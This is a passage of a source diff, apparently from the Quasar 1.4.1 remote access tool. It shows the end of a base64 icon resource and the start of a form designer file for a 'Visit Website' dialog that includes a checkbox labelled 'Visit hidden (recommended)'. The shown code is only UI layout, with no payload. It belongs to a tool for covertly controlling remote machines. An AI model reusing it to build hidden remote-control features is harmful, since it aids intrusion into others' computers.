/////v7/7uXi/+HZ1f/p4+D/597b/+ro5v/j29f/0cnE/7uyrv+qnpn/gHNs/1ZHQf8+LSb/KxsU/ygX + EP8rGxP/NCQd/zoqJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv84KCH/OSki/ysbFP9HNzDVcmJbgf// + /wH///8B////Af///wH///8B////AVBAOa0/LyjvMyMc/zgoIf84KCH/OSki/zkpIv86KiP/PCwl/zQk + Hv8lFAz/IxEJ/zclHf9rXFX/opiU/9zW0////////v////Du7f/d2Nb/xL+9/6edmf+LfHf/cGNd/1lL + RP9ENTL/LxoT/7yyrv////////7+/5+UkP8kEAj/RzUu/0o5M/9SQz7/Y1ZR/39zbf+ilpD/t6yn/8W8 + t//c0Mv/yr+8/6WZk/9sXVf/RTUv/ysbFP8lEwz/MyMc/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8sHBX/Rzcw3W5eV43///8B////Af///wH///8B////Af///wFTQzynPy8o6zEhGv84KCH/OCgh/zkp + Iv86KSL/Oysk/ygXEP8fDAT/RDIr/5OJhf/Z1NH///////z7+//Z1NL/r6ai/3ttZ/9LOzT/OSYe/yYV + DP8fDAX/IA4G/yIQCP8lEgr/EwIA/yQTDf/W0M3////////////EvLn/GwgA/x4PCP8nFxD/IhEJ/yIQ + Cf8hDwf/Hw0F/yAOB/83JR//Tz84/21fWP+cjoj/ua+q/8W8uP+Zjoj/WElC/ykZEv8jEQn/OCgh/zoq + I/84KCH/OSki/zkpIv86KiP/LBwV/0c3MNluXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zgoIf84KCH/Nycg/x4LBf82JBv/l42I/+rn5v//////5+Ti/6Sbl/9dTkj/NCMc/yQR + Cf8gDQb/IBAI/ycXEP8zIxz/OSki/zoqI/86KyT/PS0m/yQTCv9ZSED/7Ono////////////5OHg/0Ex + Kv8mFg//PS0m/zssJf87KyT/Oiok/zkqI/85KSL/MCAZ/yMTDP8fDQX/IxIL/zopIv9ZSkT/kYV+/761 + sf+pnpr/VUdA/x4OBv8xIRr/Oysk/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/Nicg/xwKAv9VQjv/1M3J///////q5eT/k4iC/0Av + KP8iEQn/IQ8H/ygYEf80JB3/OCgh/zsrJP87KyT/Oioj/zoqI/86KiP/Oysk/z0sJf8fDQX/hnhy//v5 + +P////////////Lv7/9qWlP/IRAI/z0tJv86KiP/OSki/zkpIv85KSL/OSki/zoqI/87KyT/Oioj/zcn + IP8sHBT/IhEJ/ycVDv9BMSr/hnp0/8zCvf+KenP/IxMM/y0eF/86KiP/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSoj/yISCv9gT0j/8u7s//// + //+/tbH/QzIq/x4MBP8oFg//MiEa/zkpIv87KyT/OSki/zkpIv86KiP/Nycg/zMjHP8vHxj/KhoT/ycX + EP8bCgb/DwAA/7euqv//////////////////////n5WR/w0AAP8oGBH/Lh4X/zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zoqI/81JB3/KxoT/yMRCv9HNjD/uKmi/56OiP8rGhP/MiIc/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OSki/y0c + Fv9JNzD/6uXi//////+hlpL/JRIK/yUTDP81JR7/OSki/zkpIv84KCH/OCgh/zcnIP8yIhv/JhYP/ysb + FP84KCH/SDgx/1xMRf9uXlf/dGRd/4NzbP/Uxr//7uLc/+rb1f/u4Nn/+vPv/93Szf+CcGn/bFxV/11N + Rv9ENC3/Nycg/zgoIf84KCH/Nycg/zgoIf84KCH/Nycg/zgoIf85KSL/OSki/zoqI/84JyD/KRgR/yoa + E/+llpD/jHt0/yoZEv84KCH/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zcnIP8mFA3/qJyX//////+3rar/Iw8H/yoZEv87KyT/OSki/zgoIf84KCH/OSki/zIi + G/8oGBH/QDAp/3BgWf+YiIH/sqKb/8e3sP/QwLn/18fA/+TUzf/s3db/387G/8+8tf/Ar6j/qZiQ/5F+ + d/+Jd3D/iHly/3NjXP9rW1T/Tj43/zIiG/8yIhv/NCQd/zUlHv83JyD/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zoqI/8qGhP/NCQc/6ublf9ZSUP/MiIb/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TIiG/8wIBn/Py4m//Dt7P/v6+r/V0Q//xoKBP89LSb/OSki/zkp + Iv85KSL/OSki/y4eF/8tHRb/e2tk/8W1rv/i0sv/4dHK/9jIwf/Tw7z/1cW+/9/PyP/bysP/t6eg/4N0 + bv9aS0b/OSki/yUUDf8gEAn/Hw8J/yERDf8qGhP/KxsT/zQkHf83JyD/MiIb/ywcFf8oGBH/KhoT/y0d + Fv8zIxz/OCgh/zoqI/85KSL/OSki/zkpIv84KCH/PS0m/x8OB/9zYlv/iXly/ygYEf87KyT/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0yIhv/Lx8X/0ExK////v7/4d3c/zgl + Hf8mFhD/Oioj/zkpIv8xIRr/NiYf/zUlHv8sHBX/kIB5/+nZ0v/ezsf/zr63/8u7tP/KurP/0sK7/+LS + yv+4p5//WktG/x8PCf8SAgD/JBgX/0o4Mv9sW1P/hnRs/5qIgP+nlo7/sqGa/7amn/+3p6D/rZ2W/5+P + iP+Pf3j/eGhh/1VFPv82Jh//KBgR/ycXEP81JR7/Oioj/zkpIv85KSL/OSki/zoqI/8jEwz/WUlC/4t7 + dP8lFQ7/Oysk/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zYn + IP81JR7/inp1/4R2bv8wHxn/NiYf/zsrJP8wIBn/OCgh/zsrJP8qGhP/bV1W/+TUzf/UxL3/ybmy/829 + tv/MvLX/0sK7/9vLxP+HeHH/GAwL/xsNDP9mWVX/raKd/9bNyv/s49//+vLv//z18v/16uX/6dnS/9vJ + wf/VxLz/5NTN/+XWz//dzcb/38/I/9vLxP/QwLn/t6eg/4d3cP9JOTL/JxcQ/zAgGf87KyT/OCgh/zgo + If89LSb/IhIL/2ZWT/98bGX/KhoT/zsrJP8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv85KSL/Nycg/yQRCf8mFQ3/OCki/zwsJf8vHxj/PCwl/419dv9HNzD/LR0W/6OT + jP/j08z/ybmy/829tv/Nvbb/zb22/93Nxv+FdnD/CgAA/11QS//VzMj/+/r5//////////////////// + //////////7///v5+P/z6+f/z764/6qYkP/Ht7D/4NHK/9DAuf/Nvbb/2MjB/97Ox//fz8j/zr63/4R0 + bf8vHxj/Lx8Y/zoqI/88LCX/Lh4X/zMjHP+Pf3j/Tj43/zUlHv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zgoIf81JB7/NiYf/zkpIv85KSL/IxMM/3xs + Zf/JubL/PS0m/y4eF/+pmZL/4tLL/8m5sv/Nvbb/zLy1/9fHwP+4qKH/IxQO/2RYU//59fP///////// + /////v7////////+/v////////////////////////////z5+P+4qaL/alhR/6KSi//j08z/1cW+/8i4 + sf/Lu7T/z7+4/9zMxf/l1c7/k4N8/ywcFf82Jh//Lh4X/yoaE/+JeXL/dGRd/ywcFf85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf84KCH/OCgh/zkp + Iv85KSL/MyMc/ywcFf+omJH/3c3G/0k5Mv8fDwj/dmZf/+XVzv/Tw7z/y7u0/8u7tP/h0cr/inpy/y8f + GP/m4N3////////+/v///v7//////////////////////////////v7/////////////////+/n4/6eX + kP81JR7/dGRd/9nJwv/Vxb7/y7u0/8y8tf/Lu7T/1cW+/97Ox/9pWVL/GwsE/zkpIv96amP/eWli/zEh + Gv80JB3/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEh + Gv84KCH/OSki/zkpIv85KSL/Oioj/y4eF/81JR7/rZ2W/+vb1P+MfHX/Hg4H/y0dFv+Tg3z/5NTN/9rK + w//Ovbb/38/I/5iIgP9GNzD//vz7//////////////////////////////////////////////////// + //////////////79/f/m19D/hnVu/xUFAP91ZV7/2srD/9LCu//MvLX/zb22/829tv/ezsf/jHx1/zAg + Gf9yYlv/XU1G/y4eF/8yIhv/Oioj/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af// + /wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zoqI/8yIhv/MCAZ/6KSi//j08z/1cW+/21d + Vv8bCwT/IhIL/2xcVf+4qKH/2MfA/+DQyf/dzMb/eGZf/7qxrf////////////////////////////// + ///////////////////////////////////u5eH/08G5/8W1rf80JB//JRUU/7Ghmv/dzcb/zLy1/829 + tv/Nvbb/38/I/419dv8vHxj/QTEq/zAgGf82Jh//OCgh/zgoIf85KSL/Oioj/y0dFv9GNi/Zbl5Xh/// + /wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/yUV + Dv9tXVb/3s7H/9zMxf/UxL3/iHhx/zUlIP8SAgD/JhYO/1VGQf99bWf/o5OM/7emn/+fj4j/493a//7+ + /v/////////////////////////////////////////////////z6uf/0L+4/9DAuf/Ht7D/OSki/x8P + CP+UhH3/3s7H/86+t//Lu7T/0sK7/93Nxv9kVE3/IREK/zYmH/83JyD/OCgh/zgoIf84KCH/OSki/zoq + I/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkp + Iv85KSL/OSki/zoqI/8xIRr/KxsU/52Nhv/j08z/28vE/+HRyv/Bsar/hXVu/0w8NP8jFhP/HQ4J/yER + Cv8yIhv/Nycf/zooIP+sop3////////////////////////////////////////////r4d3/x7Sr/8i3 + sP/n19D/loZ//yAQCf8rGxT/rZ2W/93Nxv/KurP/1cW+/+nZ0v+aioP/KhoT/zUlHv84KCH/Nycg/zgo + If84KCH/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8v + KO0xIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oysk/ywcFf80JB3/nY2G/97Ox//h0cr/4dHK/93N + xv/Rwbr/vayl/6STjP+Hd3H/cmJb/2NTTf9MOTL/dGNa/+3o5v////////7+///+/v///v7///////// + ///07+z/x7Wt/8e3r//n2dL/va2m/zwsJf8UBAD/Y1NM/9XFvv/YyMH/38/I/+HRyv+fj4j/NiYf/y4e + F/86KiP/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af// + /wH///8B////AVNDPKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/LBwV/y0d + Fv92Zl//wrKr/9zMxf/g0Mn/5NTN/+DQyf/by8T/3MzF/93Nxv/ZycL/1sa//8m4r//m29b///////// + /////v7//////////////v3/49fS/9fEvf/l1c7/taWd/z4uJ/8OAAD/U0M8/9PDvP/u3tf/3MzF/72t + pv9vX1j/LBwV/y0dFv86KiP/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5e + V4f///8B////Af///wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkp + Iv84KCH/OSki/zoqI/8wIBn/JRUO/z0tJv9zY1z/p5eQ/8q6s//czMX/5NTN/+DQyf/dzcb/3MzF/9vL + xP/SwLj/3c3G//z5+P/////////////+/v////////78/+rZ0f+/rab/e2xk/yUVEP8kFA3/fm5n/+DQ + yf/i0sv/rZ2W/3JiW/83JyD/JBQN/y8fGP85KSL/OCgh/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/LR0W/0Y2L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/OSki/zUlHv8sHBX/KBgR/zAgGf9KOjP/bl5X/49/ + eP+pmZL/v6+o/8q6s//Swrv/zr63/93MxP/89/X//////////////////////+Pc2f9xXlb/NyYg/yoa + E/9SQjz/kIB5/6yclf+Le3T/UkI7/zEhGv8oGBH/LR0W/zYmH/86KiP/OCgh/zgoIf84KCH/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVND + PKc/LyjtMSEa/zgoIf85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zYm + H/80JB3/MSEa/yoaE/8rGxT/Nycg/z8vKP9OPjf/Xk5I/2NTS/9eTET/xLu3//////////////////// + /v+ShoH/EgAA/ysbFP9FNS7/X09I/04+N/82Jh//KRkS/y4eF/8zIxz/NSUe/zcnIP85KSL/MSEa/zIi + G/85KSL/Nycg/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af// + /wH///8B////Af///wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/Oioj/zkpIv84KCH/NiYf/zUlHv8zIxz/MCAZ/y0dFv8tHRX/EAAA/3dp + ZP/49vX////////////v7Ov/YFBJ/yAOBv87LCX/NSUe/zIiG/81JR7/NSUe/zcnIP84KCH/OSki/zgo + If85KSL/MSEa/049Nf9OPTX/MCAZ/zkpIv84KCH/OSki/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2 + L9luXleH////Af///wH///8B////Af///wH///8BU0M8pz8vKO0xIRr/OCgh/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zgo + If84KCH/Oiok/yMRCf9PQTr/6efm////////////4t7c/z4sJP8lFQ7/Oioj/zcnIP85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv84KCH/Oioj/xUEAf+rnpn/ppmU/xUEAf86KyP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Oioj/y0dFv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVNDPKc/LyjtMSEa/zgo + If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs new file mode 100755 index 0000000..0bdf685 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs @@ -0,0 +1,107 @@ +namespace Quasar.Server.Forms +{ + partial class FrmVisitWebsite + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmVisitWebsite)); + this.chkVisitHidden = new System.Windows.Forms.CheckBox(); + this.lblURL = new System.Windows.Forms.Label(); + this.txtURL = new System.Windows.Forms.TextBox(); + this.btnVisitWebsite = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // chkVisitHidden + // + this.chkVisitHidden.AutoSize = true; + this.chkVisitHidden.Checked = true; + this.chkVisitHidden.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkVisitHidden.Location = new System.Drawing.Point(48, 38); + this.chkVisitHidden.Name = "chkVisitHidden"; + this.chkVisitHidden.Size = new System.Drawing.Size(170, 17); + this.chkVisitHidden.TabIndex = 2; + this.chkVisitHidden.Text = "Visit hidden (recommended)"; + 